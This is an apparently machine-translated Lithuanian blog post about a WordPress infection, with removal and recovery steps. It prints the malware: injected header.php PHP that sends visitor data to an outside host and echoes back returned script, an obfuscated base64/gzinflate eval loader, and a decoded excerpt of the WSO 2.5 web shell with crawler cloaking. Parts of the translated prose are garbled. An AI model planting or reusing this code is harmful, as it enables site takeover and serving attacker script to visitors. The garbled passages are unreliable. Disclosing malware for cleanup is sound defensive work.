„WordPress Virus“ - „PHP Hack“ - pašalinkite „WordPress“ virusą

Prieš kelias dienas pastebėjau įrenginį įtartinas kodas (virusas / kenkėjiška programa) veikiančio tinklaraščio šaltinyje WordPress. Taip PHP kodas buvo pateikti header.php, prieš eilutę .

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Aš tiksliai nežinau, kaip šis virusas vadinamas ir nimci macji daro tiksliai tai, ką daro, tačiau nepastebima paveiktų svetainių lankytojams. Atvirkščiai, tai sukelia didžiulį reitingą paieškos sistemose (ypač „Google“) ir taip žymiai sumažina paveiktų svetainių lankytojų skaičių.

Informacija žinoma apie šį virusą failus:

1. Pirmiau kodas esančių Header.php

2. Iš failo atsiradimas WP-log.php aplankas wp-includes.

WP-žurnalas

3. Sekite log.php wp-includes kodą, šifruotą:

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekodavimas kodas wp-log.php:


<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

4. Jei į puslapį pateksite tiesiogiai numeblog.com/wp-includes/wp-log.php pasirodys puslapis su lauku prisijungti. Iš pirmo žvilgsnio atrodo, kad a file Vadybininkas.

DĖL GYVŪROS PLĖTROS.

1. Pirmiausia ištrinkite kodą iš header.php ir byla WP-log.php nuo wp-includes.

2. Patikrinkite failą .htaccess įtartinų direktyvų. Leidimų eilutės arba scenarijaus vykdymas.

3. Patikrinkite temos aplanką (/ wp-content /tematika/ Nume_tema). Ieškokite naujų ir esamų failų (ypač .php failų), kuriuose buvo atlikti įtartini pakeitimai.

4. Patikrinkite aplanką prijungtiCE (wp-content/plugins).

5. Patikrinkite WP-kiekis įtartinų failų.

6. Patikrinkite aplankų ir failų rašymo teises. chmod si chown.

DĖL GYVŪNO PLĖTROS PASIŪLYMAI.

1. Pirmiausia gerai padaryti visų tinklaraščio failų ir duomenų bazės atsarginę kopiją.

2. Ištrinkite aplankus wp-admin si wp-includes ir visus failus . PHP nuo svetainės šaknies. Jei turite pasirinktinius .php failus, patartina juos patikrinti rankiniu būdu.

3. Atsisiųskite dabartinę „WordPress“ versiją ir įkelkite.

4. Patikrinkite duomenų bazėje, ar vartotojas, turintis administratoriaus rangą, nebuvo sukurtas.

Tai beveik viskas, ką turime pasakyti apie šį virusą, tačiau jei turite papildymų ar aptiksime naujų detalių, mielai atnaujinsime šį straipsnį.

STEALTH SETTINGS - PAŠALINKITE NETURPUSIĄ VIRUSĄ .

Įkūrėjas ir redaktorius Stealth Settings, nuo 2006 m. „Linux“ operacinių sistemų (ypač „CentOS“) patirtis, Mac OS X, Windows XP> Windows 10 ir „WordPress“ (CMS).

Palikite komentarą